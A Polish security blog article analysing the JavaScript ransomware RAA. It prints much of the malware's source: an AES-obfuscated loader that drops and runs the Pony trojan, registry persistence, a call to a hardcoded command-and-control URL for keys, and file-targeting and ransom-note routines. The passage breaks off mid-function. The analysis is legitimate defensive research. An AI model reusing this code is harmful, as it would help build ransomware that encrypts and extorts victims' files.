MEGA sekurak hacking party już 13. czerwca – zdobądź bilety tutaj.

Analiza ransomware napisanego 100% w Javascripcie – RAA

17 sierpnia 2016, 09:45 | Teksty | komentarzy 17

14 czerwca 2016r., znalazłem informację o nowym ransomware o nazwie RAA. Kilka serwisów związanych z bezpieczeństwem określiło go jako pierwsze tego rodzaju oprogramowanie napisane w całości w JavaScripcie, włącznie z algorytmem szyfrującym pliki na dysku komputera ofiary.

Dzięki informacjom otrzymanym od @hasherezade, która na co dzień zajmuje się analizą złośliwego oprogramowania, pobrałem kod źródłowy RAA i przystąpiłem do analizy.

Jako programista, który stale ma do czynienia z językiem JavaScript, w swojej analizie skupiłem się głównie na jego działaniu, bez wchodzenia w szczegóły implementacyjne – np. obiektów Windows Script Hosts, które RAA intensywnie wykorzystuje do operacji na plikach w zainfekowanym systemie. Jeśli ktoś chciałby poznać działanie tych obiektów dokładniej, może skorzystać z linków które zamieściłem w opisie niektórych fragmentów kodu.

Analiza

W poszczególnych jej etapach opiszę wszystkie funkcje wchodzące w skład głównej logiki RAA oraz prześledzę wykonanie kodu od początku aż do momentu, w którym pojawia się informacja o okupie, a pliki na twardym dysku są już zaszyfrowane.

Dla osoby na co dzień pracującej z nowoczesnym językiem programowania JavaScript, pierwszy kontakt z RAA pozwala stwierdzić, że jest to jeden wielki spaghetti code, w którym definicje funkcji oraz ich wywołania mieszają się ze sobą, i w którym zastosowane są nawet definitywnie odradzane mechanizmy języka, takie jak instrukcje skoków do etykiet (wyjaśnienie jak działają, znajduje się w opisie jednego z fragmentów poniżej).

W repozytorium w serwisie GitHub znajduje się plik raa.js, który zawiera oryginalny, nie zmodyfikowany kod JavaScript analizowanego ransomware. Przy pierwszym podejściu do analizy starałem się nadać zmiennym i funkcjom bardziej „przyjazne” nazwy, ale po pewnym czasie zrezygnowałem – stwierdziłem, że nie poprawia to czytelności kodu.

W tym podejściu wyodrębniłem trzy główne części programu (wspomniany wyżej plik z kodem źródłowym  znajduje się tutaj):
*/ biblioteka CryptoJS – linie od 1 do 482
*/ główna część kodu RAA – linie od 485 do 1082
*/ część kodu generująca dokument w formacie RTF z informacją dla zainfekowanego użytkownika – linie od 1083 do końca pliku

Biblioteka CryptoJS

Jest ogólnie dostępną, otwartoźródłową biblioteką udostępnianą także GitHub (fork),  szeroko wykorzystywaną w wielu projektach. CryptoJS zawiera implementacje wielu popularnych algorytmów kryptograficznych lub funkcji mieszających, w tym wykorzystywanego w RAA AES-a.

Początek

Na poniższym schemacie przedstawiłem kolejność wywołań głównych metod, z których część zawiera własne, zdefiniowane wewnątrz pomocnicze funkcje realizujące dodatkowe operacje, np. filtrowanie tablic z nazwami plików.

 YUIMqkFkI()
        |
        |
        v
    nYuMHHRx()
    NWvQtGjjfQX()
        |
        v
    zQqUzoSxLQ() ---> HxBG()
                        |
                        |
                        v
                    try {
                        uTNMmZ() --------
                    } catch {           |
                        izzU()          |
                    }     |             |
                          |             |
                          |             v
                          |         NdpcNJVAPrNj()                          |             |
                          |             v
                          |<-----------izzU()
                          |
                          v
                    iKTzQKbfDJs()
                          |
                          v
                    PLnEyqCPKHV()
                          v
                    nXmsNjMpKTv()
                    do {
                        KWgwJwOlqJcs(file_to_encrypt)
                    } while (files_to_encrypt)

Pierwsza wykonywalna instrukcja kodu, to proste przypisanie wartości zwracanej przez funkcję YUIMqkFkI() do zmiennej TBucypWw. Gdy przyjrzymy się co zawiera funkcja YUIMqkFkI() okaże się, że to prosty  prosty algorytm zwracający pięcioznakową sekwencję wygenerowaną poprzez losowy wybór znaków z ciągu WKQttPJDfsQE:

function YUIMqkFkI() {
    var TBucypWw = "";
    var WKQttPJDfsQE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
    for (var i = 0; i < 5; i++)
        TBucypWw += WKQttPJDfsQE.charAt(Math.floor(Math.random() * WKQttPJDfsQE.length));
    return TBucypWw;
}

Jak okaże się dalej, ten pięcioznakowy klucz, zapisany w TBucypWw, jest używany przez RAA w wielu innych miejscach. Na potrzeby tego artykułu przyjmijmy, że jego wartośc to „xW5Gf”.

Poznajcie Pony

Następnym wykonywalnym fragmentem kodu jest:

var Yvwtdbvd = Wscript.Arguments;
if (Yvwtdbvd.length == 0) 
{
    nYuMHHRx();
    NWvQtGjjfQX();
} else {
    null;
}

W przypadku gdy do skryptu zostaną przekazane jakieś argumenty, program nie wykona żadnych operacji.
W przeciwnym razie wykonają się dwie funkcje, które omówię poniżej.

Funkcja  nYuMHHRx()
function nYuMHHRx() {
   var tpcVJWrQG = "e1xy(...)OBBSDIO==";
   tpcVJWrQG = tpcVJWrQG.replace(/BBSDIO/g, "A");
   var clear_tpcVJWrQG = CryptoJS.enc.Base64.parse(tpcVJWrQG);
   var CLWSNdGnlGf = clear_tpcVJWrQG.toString(CryptoJS.enc.Utf8);
       CLWSNdGnlGf = CLWSNdGnlGf.replace(/BBSDIO/g, "A");
   var RRUm = new ActiveXObject('ADODB.Stream');
   var GtDEcTuuN = WScript.CreateObject("WScript.shell");
   var TkTuwCGFLuv_save = GtDEcTuuN.SpecialFolders("MyDocuments");
       TkTuwCGFLuv_save = TkTuwCGFLuv_save + "\\" + "doc_attached_" + TBucypWw;
       RRUm.Type = 2;
       RRUm.Charset = "437";
       RRUm.Open();
       RRUm.WriteText(CLWSNdGnlGf);
       RRUm.SaveToFile(TkTuwCGFLuv_save);
       RRUm.Close();
       var run = "wordpad.exe " + "\"" + TkTuwCGFLuv_save + "\"";
       GtDEcTuuN.Run(run);
       return 0;
}

Zmienna tpcVJWrQG zdefiniowana na samym początku, zawiera kilkudziesięciobajtowy ciąg w Base64, na którym wykonywanych jest kilka operacji (odkodowanie danych z Base64, przekształcenie z użyciem metody JavaScript operującej na ciągach – replace()). Następnie, tworzony jest obiekt ActiveX o nazwie ADODB.Stream oraz nowy obiekt WScript.shell, który m.in. umożliwia uruchamianie komend wiersza poleceń systemu Windows:

var RRUm = new ActiveXObject('ADODB.Stream');
var GtDEcTuuN = WScript.CreateObject("WScript.shell");

Kolejna linia:

RRUm.Charset = "437";

pozwala obiektowi ADODB.Stream traktować ciągi znaków JavaScript, jako dane binarne (ta definicja stosowana jest w analizie kilkakrotnie, zatem nie będę jej ponownie przytaczał w kolejnych etapach badania).

Następne linijki to utworzenie nowego pliku w następującej ścieżce:

\MyDocuments\doc_atatched_xW5Gf

i zapisanie do niego zawartości odczytanej ze zdekodowanego ciągu w Base64. Ostatnim elementem funkcji jest instrukcja uruchomienia WordPada, z argumentem będącym przed chwilą utworzonym plikiem:

GtDEcTuuN.Run(run);

Plik jest dokumentem w formacie RTF – jego zawartość przedstawia poniższy zrzut ekranu, który znajduje się w moim repozytorium.

extracted_rtf_screen

Rys. 1. Zrzut ekranu zawartości dokumentu w formacie RTF

Funkcja NWvQtGjjfQX()

Druga z funkcji zawiera następujący kod:

function NWvQtGjjfQX() {
    var data_pn = "TVrDiQNMSFE(...)QQURE";
    var cmd = "U2FsdGVkX1/LHQl+aIAo/hXHDEI5YmZZtBIcL5LHq7o+NZyTxtiLAxCsucmN0NBq12nnNJ7XOCy
eXqF9xLAkahyIcXx5oc/ic5FRpoj+tZ1qywTZNhPWMlRllGn8O8viVnpXMYHoJr/AphGHfaAOkX8xYjuWhZE
8qw1Qw1vQbqdbMlv5RL3xTETBgbylCgyGER91Kef4Q/2YtokOqzg+0BZIjKpdIbr1jQdh8uwp9MKd+Y9dSm1Lz9dl82
QJVVbFiBj7N6MEDCw5JESVi5HilHWFEb3eyacdJBxYtKutbAZBOl6aJrLyxKtlxm4o9Cie5+vIPgMtqHEmBWp9GaqY
DQlxXXOuTeysry1LXQiCGP7msk2hqAOEhyfxchlAQuma4twTFqHOrPZDECk8hfVJkBvUZg/hl+y4gKbBBLVDE
IlKW9AstpcAP6FOcTt/bsS+0fvHnl1fAtMB1AsBSHKhZX/6eMPBGQBQT5fqvyy8MLyMgLOsCt5XHyEgc2ecU1fDokpz
zMxMqIPwFZoQDOZSg/pBOMVTyUHuv18WdWI+Q6lppzIUv4mvxEioH7SROiDFqJoHR4EwIdDO0QR82Q4RTTIWO
9CfXkC5VnXlEncsU45rIzfEMDv4r1aqoYQlgFr6xjas0/e7+EVCoxhsp4C2Jta43NmC6uLnhjcWRdCcB/8=";
    var key_cmd = "2c025c0a1a45d1f18df9ca3514babdbc";
    var dec_cmd = CryptoJS.AES.decrypt(cmd, key_cmd);
    dec_cmd = CryptoJS.enc.Utf8.stringify(dec_cmd);
    eval(dec_cmd);
    return 0;
}

Zawartość zmiennej data_pn została przeze mnie zmniejszona, by zachować czytelność (oryginalnie zawiera ona bardzo długi, losowy ciąg znaków). Dwie kolejne zmienne – cmd oraz key_cmd, służą do wygenerowania dec_cmd (ciąg cmd jest dekodowany z użyciem klucza key_cmd i algorytmu AES).

Zmienna dec_cmd okazuje się być wykonywalnym fragmentem kodu JavaScript, natomiast opisana powyżej operacja z AES to ciekawa metoda obfuskacji kodu JavaScript, która wymaga jednak użycia takiej biblioteki  jak CryptoJS, do uzyskania kodu w czytelnej postaci.

Jego zawartość prezentuje poniższy listing:

var flo = new ActiveXObject ("ADODB.Stream");
var runer = WScript.CreateObject("WScript.Shell");
var wher = runer.SpecialFolders("MyDocuments");
wher = wher + "\\" + "st.exe";
flo.CharSet = "437";
flo.Open();
var pny = data_pn.replace(/NMSIOP/g, "A");
var pny_ar = CryptoJS.enc.Base64.parse(pny);
var pny_dec = pny_ar.toString(CryptoJS.enc.Utf8);
flo.Position = 0;
flo.SetEOS;
flo.WriteText(pny_dec);
flo.SaveToFile(wher, 2);
flo.Close;
wher = "\"" + wher + "\"";
runer.Run(wher);

Kod ten jest wykonywany przez ostatnią przed return; instrukcją w funkcji NWvQtGjjfQX():

dec_cmd = CryptoJS.enc.Utf8.stringify(dec_cmd);
eval(dec_cmd);
return 0;

Jego funkcjonalność jest zbliżona do kodu opisanego wcześniej: utworzenie pliku, zapisanie do niego zawartości ciągu data_pn poddanego kliku kolejno następujących po sobie przekształceniom, a następnie jego uruchomienie. Plik ten znajduje się w repozytorium i jest to – wg analizy – malware o nazwie Pony. Więcej o Pony można przeczytać tu  lub tu.

Oznacza to, że poza szyfrowaniem plików RAA uruchamia na komputerze ofiary trojana.

Modyfikacja rejestru Windows

Kolejna funkcja zajmuje się modyfikacją rejestru Windows sprawiając, by ransomware był uruchamiany po każdym restarcie systemu i kontynuował swoją pracę:

function zQqUzoSxLQ() {
   var QCY;
   var kHkyz = WScript.CreateObject("WScript.Shell");
   try {
       kHkyz.RegRead("HKCU\\RAA\\Raa-fnl\\");
   } catch (e) {
       QCY = 0;
   }
   var lCMTwJKZ = [];
   var baZk = "wscript.exe";
   var AFtKLHIjDtkM = 0;
   var e = new Enumerator(GetObject("winmgmts:").InstancesOf("Win32_process"));
   for (; !e.atEnd(); e.moveNext()) {
       var p = e.item();
       lCMTwJKZ = lCMTwJKZ + p.Name + ",";
   }
   lCMTwJKZ = lCMTwJKZ.split(",");
   var jcayrm = -1;
do {
   jcayrm += 1;
   if (lCMTwJKZ[jcayrm] == baZk) {
   AFtKLHIjDtkM = AFtKLHIjDtkM + 1;
   } else {
   null
   }
} while (jcayrm < lCMTwJKZ.length);
if (AFtKLHIjDtkM < 2 && QCY == 0) {
    var TKVUdGUkzCmE = WScript.ScriptFullName;
    TKVUdGUkzCmE = TKVUdGUkzCmE + " argument";
    var qPOGRFfINeNb = WScript.CreateObject("WScript.Shell");
    qPOGRFfINeNb.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\",
TKVUdGUkzCmE, "REG_SZ");
   HxBG();
} else {
    null;
}
return 0;
}

Odpowiedzialny za uruchamianie jest wpis w rejestrze w gałęzi HKCU\Software\Microsoft\Windows\CurrentVersion\Run\.

Na starcie, ransomware sprawdza czy w rejestrze znajduje się już wpis w gałęzi HKCU\Raa-fnl\ (jest on tworzony na samym końcu „działalności RAA”) – poprzez próbę jego odczytu. Brak wpisu powoduje wyrzucenie wyjątku,
a w jego instrukcji catch, wartość wcześniej zadeklarowanej zmiennej QCY ustawiana jest na 0. W dalszej części funkcji, QCY równe 0 powoduje utworzenie wpisu w rejestrze uruchamiającego RAA, a następnie wywołanie funkcji HxBG().

Połączenie ze zdalnym serwerem

izzU() to dość kompleksowa funkcja, wykonująca „najgorszą” z punktu widzenia użytkownika część kodu. Rozpoczyna swoją pracę od wygenerowania identyfikatora GUID, który jest wg dokumentacji Microsoft unikalnym identyfikatorem używanym do rozpoznania konkretnego komponentu w aplikacji.

Następnie, wywoływana jest funkcja get_HZtSmFNRdJM(), która inicjalizuje tablicę KrvABjTTXNS wartościami zwróconymi ze zdalnego serwera. Tutaj wykorzystałem wnioski z innej analizy RAA, udostępnionej na blogu firmy ReaQta. Przyczyną był fakt, że – w czasie gdy przeprowadzałem własną analizę kodu RAA – zdalny serwer z którym ransomware się komunikował, już nie działał.

Adres serwera jest na stałe zakodowany w funkcji get_HZtSmFNRdJM():

var VuSD = cVjZujcP + " - RAA";
var MOSKn = [];
MOSKn[0] = "http://startwavenow.com/cmh" + "/mars.php?id=" + VuSD;

Szybkie sprawdzenie pozwoliło ustalić IP serwera (188.40.248.65), który okazał się częścią sieci zlokalizowanej
w Niemczech, wykorzystywaną przez rumuńską firmę hostingową THC Projects. Jak już wspomniałem, w dniu
w którym analizowałem ten fragment kodu, serwer nie działał, a domena startwavenow.com była zawieszona:

% Abuse contact for '188.40.248.64 - 188.40.248.95' is 'abuse@hetzner.de'
inetnum:        188.40.248.64 - 188.40.248.95
netname:        HOS-131355
descr:          HOS-131355
country:        DE
admin-c:        STPS1-RIPE
tech-c:         STPS1-RIPE
status:         ASSIGNED PA
mnt-by:         HOS-GUN
created:        2015-07-21T01:16:26Z
last-modified:  2015-07-21T01:16:26Z
source:         RIPE # Filtered
person:         SC THC Projects SRL
address:        str complexului 3
address:        207206 Carcea
address:        ROMANIA
phone:          +40743216666
nic-hdl:        STPS1-RIPE
remarks:        For abuse contact abuse@thcservers.com or visit https://www.thcservers.com
abuse-mailbox:  abuse@thcservers.com
mnt-by:         HOS-GUN
created:        2014-11-30T13:42:54Z
last-modified:  2014-11-30T13:42:54Z
source:         RIPE # Filtered

Sam kod odpowiedzialny za połączenie jest dość standardowy (opis poniżej):

Tworzony jest obiekt umożliwiający wysyłanie żądań HTTP:

var req = new ActiveXObject("Msxml2.ServerXMLHTTP.6.0");
var QSJCTxMMl = 15000;
var bFPwcaPNy = 15000;
var zarI = 15000;
var olWVonsDzH = 15000;
req.setTimeouts(QSJCTxMMl, bFPwcaPNy, zarI, olWVonsDzH);

Następnie, wykonywany jest niżej przytoczony fragment kodu:

(...)
var MOSKn = [];
MOSKn[0] = "http://startwavenow.com/cmh" + "/mars.php?id=" + VuSD;
(...)
var pointer_MOSKn = -1;
var aka;
do {
pointer_MOSKn += 1;
if (pointer_MOSKn <= 0) {
    pointer_MOSKn = pointer_MOSKn;
} else {
    pointer_MOSKn = 0;
    WScript.Sleep(60000);
}
try {
    req.open("GET", MOSKn[pointer_MOSKn], false);
    req.send();
    aka = req.responseText.split(',');
} catch (e) {
    aka = 0;
}
} while (aka == 0);
return aka;

Gdy przyjrzymy mu się dokładniej, nie ma on większego sensu, szczególnie użycie tablicy MOSKn i zmiennej pointer_MOSKn – tak naprawdę kod wykona się tylko raz, gdy serwer zwróci (a właściwie – gdyby  zwracał :) ) wartość, która zostanie przypisana do zmiennej aka.

Z informacji na blogu ReaQta wynika, że aka zawiera dwuelementową tablicę, której elementy zostaną użyte w późniejszym procesie szyfrowania plików (VKw zostanie użyty jako klucz dla operacji szyfrowania):

var KrvABjTTXNS = [];
KrvABjTTXNS = get_HZtSmFNRdJM();
var VKw = KrvABjTTXNS[0];
var jOnaTnksWb = KrvABjTTXNS[1];

Enumeracja folderów i plików

Kolejny wykonywalny fragment kodu inicjalizuje tablicę kAgTDYi i do jej pierwszego elementu przypisuje rezultat wykonania funkcji kth():

var kAgTDYi = [];
kAgTDYi[0] = kth();

Prześledźmy zatem, co się w niej dzieje:

function kth() {
   var DmYbWSaT, s, n, e, sNaZfrOWc;
   DmYbWSaT = new ActiveXObject("Scripting.FileSystemObject");
   e = new Enumerator(DmYbWSaT.Drives);
   s = [];
   RKsqOBz: for (; !e.atEnd(); e.moveNext()) {
      sNaZfrOWc = e.item();
      if (sNaZfrOWc.IsReady) {
          sNaZfrOWc = sNaZfrOWc += "\\\\";
          s.push(sNaZfrOWc);
      } else
          continue RKsqOBz;
    }
    return (s);
}

Obiekt ActiveX o nazwie Scripting.FileSystemObject umożliwia operacje na systemie plików, natomiast jego właściwość Drives jest iteratorem, umożliwiającym przechodzenie po kolejnych dyskach. kth() zwraca więc listę wszystkich dostępnych na zainfekowanej maszynie dysków logicznych (C:, D: itd.).

Następnym fragmentem jest:

iKTzQKbfDJs();
kAgTDYi[1] = [];

Funkcja iKTzQKbfDJs() wywołuje dwie inne, krótkie funkcje OFTEml() oraz YlDrqb():

function iKTzQKbfDJs() {
   var mItZKEXYwE = [];
   mItZKEXYwE = kAgTDYi[0];
   mItZKEXYwE = OFTEml(mItZKEXYwE);
   var rjTvWjMKnGpI = -1;
   do {
      rjTvWjMKnGpI += 1;
      YlDrqb(mItZKEXYwE[rjTvWjMKnGpI]);
     } while (rjTvWjMKnGpI < mItZKEXYwE.length - 1);
    return 0
}

OFTEml() otrzymuje jako argument utworzoną wcześniej listę dysków i zwraca ją ponownie, usuwając jedynie „puste” wpisy.

Następnie, dla każdego dysku wywoływana jest funkcja YlDrqb():

function YlDrqb(kth) {
    var gg = new ActiveXObject("Scripting.FileSystemObject");
    var dir = kth + "!!!README!!!" + TBucypWw + ".rtf";
    var d2 = gg.CreateTextFile(dir, true);
    d2.Write(VGCDtihB());
    d2.Close();
    return 0;
}

Jej zadaniem jest utworzenie na każdym z dysków, pliku o następującej nazwie:

var dir = kth + „!!!README!!!” + TBucypWw + „.rtf”; // –> C!!!README!!!xW5Gf.rtf

Jak widać, użyty w niej jest pięcioznakowy klucz wygenerowany na samym początku analizy – w pierwszej wywoływanej funkcji. Jest to jedno z wielu miejsc, w którym jest on wykorzystywany. Unikalny klucz zapisany w zmiennej TBucypWw, ma zapewne utrudnić identyfikowanie plików związanych z RAA na zainfekowanym systemie (gdyż jego wartość dla każdej maszyny będzie inna).

Zawartość każdego z tych plików generuje funkcja wywoływana w tej linijce:

d2.Write(VGCDtihB());

W funkcji VGCDtihB() generowany jest kolejny dokument w formacie RTF,  zawierający notę o wysokości „okupu”, który należy uiścić w celu otrzymania klucza deszyfrującego. Metoda generowania jest podobna do wcześniejszych – to kilka następujących po sobie manipulacji długim ciągiem znaków w Base64:

function VGCDtihB() {
   var rftKZajp = "e1xydG(...)QoRAASEP";
   var cUNSPAqZAE = rftKZajp.replace(/RAASEP/g, "A");
   cUNSPAqZAE = CryptoJS.enc.Base64.parse(cUNSPAqZAE);
   cUNSPAqZAE = cUNSPAqZAE.toString(CryptoJS.enc.Utf8);
   cUNSPAqZAE = cUNSPAqZAE.replace(/=IDHERE=/g, cVjZujcP);
   cUNSPAqZAE = cUNSPAqZAE.replace(/=ADRHERE=/g, jOnaTnksWb);
return cUNSPAqZAE;
}

Kolejny fragment kodu to funkcja, która w pętli „dostarcza” algorytmowi szyfrującemu wszystkie pliki z listy zwróconej z funkcji nXmsNjMpKTv():

function PLnEyqCPKHV() {
   var sNaZfrOWc = nXmsNjMpKTv(kAgTDYi);
   var NBMCuybDY = -1;
   iFIS:do {
        NBMCuybDY += 1;
        try {
            KWgwJwOlqJcs(sNaZfrOWc[NBMCuybDY]);
        } catch (e) {
            continue iFIS;
        }
} while (NBMCuybDY <= sNaZfrOWc.length - 2);
  return 0
}
PLnEyqCPKHV();

Dzieje się tu sporo, prześledźmy zatem wszystko po kolei.

Tablica sNaZfrOWc inicjalizowana jest rezultatem wykonania funkcji nXmsNjMpKTv():

function nXmsNjMpKTv(kAgTDYi) {
    var EPtLPm = -1;
    var wVgUUZeM = -1;
    do {
        EPtLPm += 1;
        var LeDOaP = LMz(kAgTDYi[0][EPtLPm]);
        var LeDOaP = LeDOaP.split(TBucypWw);
        kAgTDYi[1] = kAgTDYi[1].concat(LeDOaP);
        kAgTDYi[1] = OFTEml(kAgTDYi[1]);
        var aZKH = HHiAp(kAgTDYi[0][EPtLPm]);
        var aZKH = aZKH.split(TBucypWw);
        kAgTDYi[0] = kAgTDYi[0].concat(aZKH);
        kAgTDYi[0] = OFTEml(kAgTDYi[0]);
     } while (EPtLPm <= kAgTDYi[0].length - 2);
    return (kAgTDYi[1]);
}

Wywołanie:

LMz(kAgTDYi[0][EPtLPm]);

wykonuje funkcję LMz() dla każdego z dysków. LMz() zawiera długą listę warunków „if…else”, które sprawdzają każdy plik pod kątem dopasowania jego nazwy do wzorca. Jeśli plik pasuje – jest on dodawany do jednego, bardzo długiego ciągu znaków składających się z podobnych nazw plików, a nazwy te odseparowane są od siebie znanym nam już, pięcioznakowym kluczem „xW5Gf” zapisanym w zmiennej TBucypWw:

function LMz(TkTuwCGFLuv) {
   var WwltLWmsVwv = new ActiveXObject("Scripting.FileSystemObject");
   var IMhT = WwltLWmsVwv.GetFolder(TkTuwCGFLuv);
   var col_IMhT = new Enumerator(IMhT.Files);
   var IMhT_list = "";
   var kIsVkdBFbJ = ".doc";
   var YgArYNboS = ".xls";
   var CCOyZJ = ".rtf";
   var bAaa = ".pdf";
   var tOgTFO = ".dbf";
   var NijiLSgfjX = ".jpg";
   var Xhmb = ".dwg";
   var VwobvZiwDcyN = ".cdr";
   var HErxpbpJud = ".psd";
   var kIsVkdBFbJ0 = ".cd";
   var kIsVkdBFbJ1 = ".mdb";
   var kIsVkdBFbJ2 = ".png";
   var kIsVkdBFbJ3 = ".lcd";
   var kIsVkdBFbJ4 = ".zip";
   var kIsVkdBFbJ5 = ".rar";
   var kIsVkdBFbJ6 = ".locked";
   var kIsVkdBFbJ7 = "~";
   var kIsVkdBFbJ8 = "$";
   var kIsVkdBFbJ9 = "csv";
   for (; !col_IMhT.atEnd(); col_IMhT.moveNext()) {
       if (col_IMhT.item() == 0) {
            null;
        } else if (String(col_IMhT.item()).indexOf(kIsVkdBFbJ6) >= 0) {
            null;
        } else if (String(col_IMhT.item()).indexOf(kIsVkdBFbJ7) >= 0) {
            null;
        } else if (String(col_IMhT.item()).indexOf(kIsVkdBFbJ8) >= 0) {
            null;
        } else {
            if (String(col_IMhT.item()).indexOf(kIsVkdBFbJ) >= 0) {
                IMhT_list += col_IMhT.item();
                IMhT_list += TBucypWw;
            } else if (String(col_IMhT.item()).indexOf(YgArYNboS) >= 0) {
                IMhT_list += col_IMhT.item();
                IMhT_list += TBucypWw;
            } else if (String(col_IMhT.item()).indexOf(CCOyZJ) >= 0) {
                IMhT_list += col_IMhT.item();
                IMhT_list += TBucypWw;
            } else if (String(col_IMhT.item()).indexOf(bAaa) >= 0) {
                IMhT_list += col_IMhT.item();
                IMhT_list += TBucypWw;
            } else if (String(col_IMhT.item()).indexOf(tOgTFO) >= 0) {
                IMhT_list += col_IMhT.item();
                IMhT_list += TBucypWw;
            } else if (String(col_IMhT.item()).indexOf(NijiLSgfjX) >= 0) {
                IMhT_list += col_IMhT.item();
                IMhT_list += TBucypWw;
            } else if (String(col_IMhT.item()).indexOf(Xhmb) >= 0) {
                 IMhT_list += col_IMhT.item();
                IMhT_list += TBucypWw;
            } else if (String(col_IMhT.item()).indexOf(kIsVkdBFbJ5) >= 0) {
                IMhT_list += col_IMhT.item();
                IMhT_list += TBucypWw;
            } else if (String(col_IMhT.item()).indexOf(kIsVkdBFbJ9) >= 0) {
                IMhT_list += col_IMhT.item();
                IMhT_list += TBucypWw;
            } else {
                null;
            }
        }
    }
    return (IMhT_list);
}

Tylko trzy wystąpienia w nazwie pliku sprawiają, że nie jest on brany pod uwagę w tym procesie: ciąg .locked (który tworzy sam RAA w procesie szyfrowania) oraz znaki ~ i $.

Z tak zapisanego ciągu znaków, tworzona jest tablica – przy pomocy funkcji split(). Jako separator użyty zostaje klucz zapisany w zmiennej TBucypWw.  Tablica ta zostaje poddana „oczyszczeniu” z pustych elementów przez funkcję OFTEml():

function OFTEml(array_to_clean) {
    var pjvsEz = new Array();
    for (var i = 0; i < array_to_clean.length; i++) {
        if (array_to_clean[i]) {
            pjvsEz.push(array_to_clean[i]);
        }
    }
    return pjvsEz;
}

Funkcja HHiAp() przeprowadza podobną operację, ale operuje na nazwach folderów. W odróżnieniu od LMz(), lista tworzona przez nią nie zawiera folderów, które mają być pominięte w procesie szyfrowania (WINDOWS, RECYCLER, Program Files, Temp, AppData i podobne, kluczowe dla działania systemu foldery). Ma to zapobiec omyłkowemu zaszyfrowaniu pliku koniecznego do prawidłowego działania komputera, a tym samym jego unieruchomienie i niemożność zadziałania całego procesu wymuszenia okupu za klucz deszyfrujący:

function HHiAp(TkTuwCGFLuv) {
    var DmYbWSaT = new ActiveXObject("Scripting.FileSystemObject");
    var kCcui = DmYbWSaT.GetFolder(TkTuwCGFLuv);
    var dBMsgV = new Enumerator(kCcui.SubFolders);
    var kCcui_list = "";
    var Mzorw = "WINDOWS";
    var HWgKzDUQd = "RECYCLER";
    var zmVQlcBlJ = "Program Files";
    var OCSJUFRoHQVQ = "Program Files (x86)";
    var TpLTLOLP = "Windows";
    var oWxWruNtMZmL = "Recycle.Bin";
    var mOGye = "RECYCLE.BIN";
    var LSTk = "Recycler";
    var RQNcs = "TEMP";
    var Mzorw0 = "APPDATA";
    var Mzorw1 = "AppData";
    var Mzorw2 = "Temp";
    var Mzorw3 = "ProgramData";
    var Mzorw4 = "Microsoft";
    for (; !dBMsgV.atEnd(); dBMsgV.moveNext()) {
        if (dBMsgV.item() == 0) {
            null;
        } else {
            if (String(dBMsgV.item()).indexOf(Mzorw) >= 0) {
                null;
        } else if (String(dBMsgV.item()).indexOf(HWgKzDUQd) >= 0) {
                null;
         } else if (String(dBMsgV.item()).indexOf(zmVQlcBlJ) >= 0) {
                null;
         } else if (String(dBMsgV.item()).indexOf(OCSJUFRoHQVQ) >= 0) {
                null;
         } else if (String(dBMsgV.item()).indexOf(TpLTLOLP) >= 0) {
                null;
         } else if (String(dBMsgV.item()).indexOf(oWxWruNtMZmL) >= 0) {
                null;
         } else if (String(dBMsgV.item()).indexOf(mOGye) >= 0) {
                null;
            } else if (String(dBMsgV.item()).indexOf(LSTk) >= 0) {
                null;
            } else if (String(dBMsgV.item()).indexOf(RQNcs) >= 0) {
                null;
            } else if (String(dBMsgV.item()).indexOf(Mzorw0) >= 0) {
                null;
            } else if (String(dBMsgV.item()).indexOf(Mzorw1) >= 0) {
                null;
            } else if (String(dBMsgV.item()).indexOf(Mzorw2) >= 0) {
                null;
            } else if (String(dBMsgV.item()).indexOf(zmVQlcBlJ) >= 0) {
                null;
            } else if (String(dBMsgV.item()).indexOf(OCSJUFRoHQVQ) >= 0) {
                null;
            } else if (String(dBMsgV.item()).indexOf(TpLTLOLP) >= 0) {
                null;
            } else if (String(dBMsgV.item()).indexOf(oWxWruNtMZmL) >= 0) {
                null;
            } else if (String(dBMsgV.item()).indexOf(mOGye) >= 0) {
                null;
            } else if (String(dBMsgV.item()).indexOf(LSTk) >= 0) {
                null;
            } else if (String(dBMsgV.item()).indexOf(RQNcs) >= 0) {
                null;
            } else if (String(dBMsgV.item()).indexOf(Mzorw0) >= 0) {
                null;
            } else if (String(dBMsgV.item()).indexOf(Mzorw1) >= 0) {
                null;
            } else if (String(dBMsgV.item()).indexOf(Mzorw2) >= 0) {
                null;
            } else if (String(dBMsgV.item()).indexOf(Mzorw3) >= 0) {
                null;
            } else if (String(dBMsgV.item()).indexOf(Mzorw4) >= 0) {
                null;
            } else {
                kCcui_list += dBMsgV.item();
                kCcui_list += TBucypWw;
            }
        }
    }
    return (kCcui_list);
}

Dygresja: to może być skuteczna metoda obrony przed RAA – jeśli wszystkie pliki będą trzymane w jednym z tych folderów, RAA nie zaszyfruje żadnego z nich, a tym samym nie będzie miał za co wyłudzić okupu :)

Szyfrowanie

Pętla w funkcji PLnEyqCPKHV() kończy cały proces, szyfrując każdy z plików:

var NBMCuybDY = -1;
    iFIS:do {
        NBMCuybDY += 1;
        try {
            KWgwJwOlqJcs(sNaZfrOWc[NBMCuybDY]);
        } catch (e) {
            continue iFIS;
        }
    } while (NBMCuybDY <= sNaZfrOWc.length - 2);

Zanim to jednak nastąpi, inne funkcje zawarte w KWgwJwOlqJcs() wykonuje jeszcze kilka operacji przed samym szyfrowaniem.

Najpierw, dwie zmienne inicjalizowane są przez funkcję rStinsVp(), której argumentem jest zwrócony z serwera klucz:

var HZtSmFNRdJM_data = rStinsVp(VKw);
var qPCIyff = rStinsVp(VKw);

Funkcja rStinsVp():

function rStinsVp(rand) {
    var eqQu = [];
    var EPtLPmand = -1;
    do {
        EPtLPmand += 1;
        eqQu[EPtLPmand] = Math.floor((Math.random() * 2000) + 1);
        if (eqQu[EPtLPmand] < 10) {
            eqQu[EPtLPmand] = "000" + eqQu[EPtLPmand];
        } else if (eqQu[EPtLPmand] >= 10 && eqQu[EPtLPmand] < 100) {
            eqQu[EPtLPmand] = "00" + eqQu[EPtLPmand];
        } else if (eqQu[EPtLPmand] >= 100 && eqQu[EPtLPmand] < 1000) {
            eqQu[EPtLPmand] = "0" + eqQu[EPtLPmand];
        } else {
            eqQu[EPtLPmand] = eqQu[EPtLPmand];
        }
    } while (eqQu.length < 32);
    var xjLCtcIO = "";
    var EPtLPmand2 = -1;
    var vPdyagHuFMMj = [];
    do {
        EPtLPmand2 += 1;
        vPdyagHuFMMj[EPtLPmand2] = parseInt(eqQu[EPtLPmand2]);
